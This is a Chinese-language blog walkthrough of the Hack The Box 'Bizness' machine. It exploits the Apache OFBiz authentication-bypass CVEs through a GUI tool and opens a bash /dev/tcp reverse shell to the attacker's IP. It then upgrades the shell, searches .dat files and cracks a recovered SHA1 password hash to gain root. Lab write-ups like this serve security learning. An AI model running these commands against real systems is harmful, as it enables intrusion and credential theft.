Linux/Bizness

Enumeration

nmap

用 nmap 扫描了常见的端口,发现对外开放了22,80,443

┌──(kali㉿kali)-[~]
└─$ nmap 10.10.11.252
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-08 01:21 EST
Nmap scan report for 10.10.11.252
Host is up (0.36s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 41.55 seconds

访问 80 端口,重定向至域名,将其添加至 /etc/hosts 中

添加索引后访问系统,在页面最底部发现 Powerd by Apache OFBiz

使用目录扫描工具发现了 /control/login 接口,在登录页面可以看到 OFBiz的版本为 18.12

Exploitation

Apache OFBiz漏洞

搜索该版本发现存在两个漏洞,漏洞编号分别为 CVE-2023-49070 和 CVE-2023-51467

Apache OFBiz 是一个用于企业流程自动化的开源产品。它包括 ERP、CRM、电子商务/电子商务、供应链管理和制造资源规划的框架组件和业务应用程序。OFBiz 为可靠、安全和可扩展的企业解决方案提供了基础和起点。下面这篇文章详细分析了这两个漏洞

漏洞分析Apache OFBiz Authentication Bypass Vulnerability (CVE-2023-49070 and CVE-2023-51467) - vsociety (vicarius.io)

在搜索漏洞 PoC 时发现了一个 gui 工具,包含了两个漏洞,用起来是真方便啊,只需要把目标 url 和要执行的命令放进去,exploit 一下结果就出来了

一开始使用了非常常见的反向 shell 连接指令

/bin/bash -i >& /dev/tcp/10.10.14.19/4444 0>&1

然后得到了下面的结果,可以执行 id 和 whoami 命令,看到第 5 行和第 6 行有两句话,查了一下。bash: cannot set terminal process group (727): Inappropriate ioctl for device。这个错误通常出现在bash shell中,当bash尝试为一个终端设置进程组时发生错误。Inappropriate ioctl for device表明bash尝试对一个不支持所需ioctl操作(输入/输出控制操作)的设备执行操作。这可能是因为bash在没有控制终端的环境中运行,例如通过某些网络服务启动的bash shell。bash: no job control in this shell。这个警告表明当前bash shell没有作业控制功能。作业控制通常允许用户在前台和后台之间切换命令的执行,并管理这些命令的状态(例如挂起、恢复或终止它们)。当bash在没有控制终端的环境中运行时,例如通过SSH的某些配置或某些非交互式服务,作业控制功能通常会被禁用

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.252] 56216
bash: cannot set terminal process group (727): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ id
id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)
ofbiz@bizness:/opt/ofbiz$ whoami
whoami
ofbiz
ofbiz@bizness:/opt/ofbiz$ help

本来想放弃,但是想了想能执行 id 和 whoami 命令,执行不了其他的,会不会是次数的问题,比如只能执行多少次等等。所以重新获取一个 shell 后,直接用 python 语句升级 shell,然后这个困扰我的问题暂时解决了,可我还是不清楚到底发生了什么

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.252] 55692
bash: cannot set terminal process group (727): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
ofbiz@bizness:/opt/ofbiz$ ^Z
zsh: suspended  nc -nvlp 4444
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg  
[1]  + continued  nc -nvlp 4444
                               reset
reset: unknown terminal type unknown
Terminal type? screen

Privilege Escalation

使用 linpeas.sh 搜索系统漏洞,发现了一些数据库文件

/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6850.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cde61.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c2e1.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c14ad1.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cde51.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cce71.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6861.dat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/cce61.dat

搜索所有 .dat 文件并将其重定向到 datfile 文件夹中

find / -name '*.dat' -type f 2>/dev/null > /tmp/datfile

在其中搜索 SHA 字符串时,发现了下面的内容

"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

$SHA = 表示 SHA1 哈希值
$d = 盐值
$uP0_QaVBpDWFeo8-dRzDqRwXQ2I = bas64编码的哈希值

使用 hashcat 破解,提前将 hash 解码并转为 16 进制,然后使用 hashcat 破解 hash 值,得到密码 monkeybizness,在切换到 root 即可

  • 22
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值